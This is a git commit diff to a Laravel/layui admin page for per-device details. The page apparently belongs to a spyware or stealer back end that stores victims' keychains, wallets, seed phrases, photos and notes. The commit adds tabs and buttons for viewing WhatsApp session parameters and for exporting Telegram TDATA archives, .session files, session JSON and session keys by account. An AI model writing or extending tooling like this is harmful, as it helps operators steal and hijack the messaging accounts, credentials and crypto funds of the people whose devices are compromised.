feat: tg/ws/security/

This commit is contained in:
hashbro
2026-10-03 05:40:19 +08:00
parent 6e4f7e6020
commit afac799588
32 changed files with 2038 additions and 18 deletions
+151 -1
View File
@@ -6,7 +6,9 @@
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
@if (($portal ?? 'admin') === 'admin')
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
@endif
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
@@ -228,6 +230,8 @@
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
'ws-sessions' => 'WS 参数',
'tg-sessions' => 'TG 参数',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
@@ -316,6 +320,20 @@
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
<script type="text/html" id="LAY-device-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
@if ($tab === 'ws-sessions')
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
@endif
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
@endif
</script>
@endif
@endif
</div>
</div>
@@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
@if (($portal ?? 'admin') === 'admin')
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
@else
var destroyUrl = '';
@endif
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
@@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
var yesNo = function (v) {
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
};
form.on('switch(LAY-device-album-storage)', function (obj) {
var on = obj.elem.checked ? 1 : 0;
@@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]],
'ws-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
]],
'tg-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
@if(auth('admin')->user()?->isSuper())
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@else
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@endif
]]
};
var emptyMap = {
@@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
events: '暂无日志',
'ws-sessions': '暂无 WS 参数',
'tg-sessions': '暂无 TG 参数'
};
table.render({
@@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
});
}
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'payload') {
var url = obj.data.payload_url;
if (!url) { layer.msg('缺少参数地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
.then(function (res) {
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
})
.then(function (out) {
layer.close(load);
var body = out.body || {};
var json = body.data && body.data.payload_json;
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
var pretty = JSON.stringify(json, null, 2);
layer.open({
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
area: ['720px', '80%'], content:
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
});
})
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
return;
}
if (obj.event === 'wsFull') {
var url = obj.data.ws_full_url;
if (!url) { layer.msg('缺少协议全参地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'tdata') {
var url = obj.data.tdata_url;
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
var type = typeMap[obj.event];
var baseUrl = obj.data.session_file_url;
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
var url = baseUrl + '?type=' + type;
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {